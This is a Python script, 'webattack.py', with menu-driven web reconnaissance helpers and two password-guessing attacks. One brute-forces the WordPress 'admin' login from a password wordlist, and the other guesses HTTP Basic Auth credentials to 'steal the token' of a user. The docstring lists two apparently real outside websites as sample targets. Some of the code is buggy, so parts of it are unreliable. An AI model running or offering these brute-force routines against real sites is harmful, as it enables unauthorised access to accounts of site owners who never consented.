webattack.py

#!/usr/bin/env python3

"""Web Attack

Attacking web forms with requests and beautifulsoup

Sample Website:
- https://www.monographcomms.ca/
- http://www.timbrack.de/

Usage: $ python3 webattack.py <target>

Arguments:
    -_param_ <type>: _description_
"""

import sys

import bs4
import requests


def check_status(target: str) -> int:
    """Checks status of a web page

    Args:
        target (str): URL for web form

    Returns:
        int: Status code
    """
    try:
        r = requests.get(target)
        print(f"Status for <{target}>: {r.status_code}")
        return r.status_code
    except Exception as e:
        print(f"Exception: {e}")
        return None


def check_server(target: str) -> str:
    """Checks server of a web page

    Args:
        target (str): URL for web form

    Returns:
        str: Server value
    """
    try:
        r = requests.get(target)
        print(f"Server for <{target}>: {r.headers.get('server')}")
        return r.status_code
    except Exception as e:
        print(f"Exception: {e}")


def get_headers(target: str) -> dict:
    """Gets the headers of a web page

    Args:
        target (str): URL for web form

    Returns:
        dict: Dictionary of headers
    """
    try:
        r = requests.get(target)
        print(f"Headers for <{target}>:")
        for key, value in r.headers.items():
            print(f"\t{key}: {value}")
        return r.headers
    except Exception as e:
        print(f"Exception: {e}")


def get_title(target: str) -> str:
    """Gets the title of a web page

    Args:
        target (str): URL for web form

    Returns:
        str: The title
    """
    try:
        r = requests.get(target)
        soup = bs4.BeautifulSoup(r.text, "html.parser")
        title = soup.title.string
        print(f"Title for <{target}>: {title}")
        return title
    except Exception as e:
        print(f"Exception: {e}")


def get_urls(target: str) -> list:
    """Gets the urls of a web page

    Args:
        target (str): URL for web form

    Returns:
        list: The urls
    """
    try:
        r = requests.get(target)
        soup = bs4.BeautifulSoup(r.text, "html.parser")
        links = soup.find_all("a", href=True)
        urls = list(set([link["href"] for link in links]))
        print(f"Title for <{target}>: {urls}")
        return urls
    except Exception as e:
        print(f"Exception: {e}")


def get_images(target: str) -> list:
    """Gets the images of a web page

    Args:
        target (str): URL for web form

    Returns:
        list: The images
    """
    try:
        r = requests.get(target)
        soup = bs4.BeautifulSoup(r.text, "html.parser")
        links = soup.find_all("img")
        tags = [img["src"] for img in links]
        print(f"Title for <{target}>: {tags}")
        return tags
    except Exception as e:
        print(f"Exception: {e}")


def get_text(target: str) -> str:
    """Gets the text of a web page

    Args:
        target (str): URL for web form

    Returns:
        str: String response from GET request
    """
    try:
        r = requests.get(target)
        print(f"Text for <{target}>:")
        soup = bs4.BeautifulSoup(r.text, "html.parser")
        print(type(soup), soup.prettify())
        return soup.prettify()
    except Exception as e:
        print(f"Exception: {e}")


def wp_brute_force_attack(target: str) -> str:
    """Attempts to bruteforce a WordPress CMS login

    Args:
        target (str): URL for a WordPress CMS login

    Returns:
        list: password on success else none
    """
    try:
        target = f"{target}/wp-login.php"
        if check_status(target) != 200:
            print("Page does not exist, stopping...")
            return None
        password_file = "resources/passwords.txt"
        passwords = [line.rstrip("\n") for line in open(password_file)]
        for password in passwords:
            print(f"Attempting password {password}... ", end="")
            attempt = requests.post(target, data={"log": "admin", "pwd": password})
            if "incorrect" not in attempt.text:
                print("SUCCESS")
                return password
            else:
                print("FAIL")
        return None
    except Exception as e:
        print(f"Exception: {e}")


def wp_token_attack(target: str) -> str:
    """Attempts to steal the token of user <anon> on WordPress CMS

    Args:
        target (str): URL for a WordPress CMS token

    Returns:
        list: password on success else none
    """
    try:
        target = f"{target}/token/index.html"
        username = "anon"
        timeout = 5
        if check_status(target) != 200:
            print("Page does not exist, stopping...")
            return None
        password_file = "resources/passwords.txt"
        passwords = [line.rstrip("\n") for line in open(password_file)]
        for password in passwords:
            print(f"Attempting password {password}... ", end="")
            attempt = requests.auth.HTTPBasicAuth(username, password)
            resp = requests.get(url=target, auth=attempt, verify=False, timeout=timeout)
            if "401" not in attempt.text:
                print("SUCCESS")
                return password
            else:
                print("FAIL")
        return None
    except Exception as e:
        print(f"Exception: {e}")


def prompt(target: str) -> None:
    """Prompt for what to do

    Args:
        target (str): URL for web form
    """
    tasks = {
        "1": check_status,
        "2": check_server,
        "3": get_headers,
        "4": get_text,
        "5": get_title,
        "6": get_urls,
        "7": get_images,
        "8": wp_brute_force_attack,
        "9": wp_token_attack,
    }
    choice = None
    while choice not in tasks.keys():
        print("Choose one of the following:")
        for key, val in tasks.items():
            print(f"\t{key}: {val.__name__}")
        choice = input("Choice (input integer value): ")
    print(f"Target is <{target}>...")
    tasks[choice](target)


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: python3 {sys.argv[0]} <target>")
        sys.exit(1)
    prompt(sys.argv[1])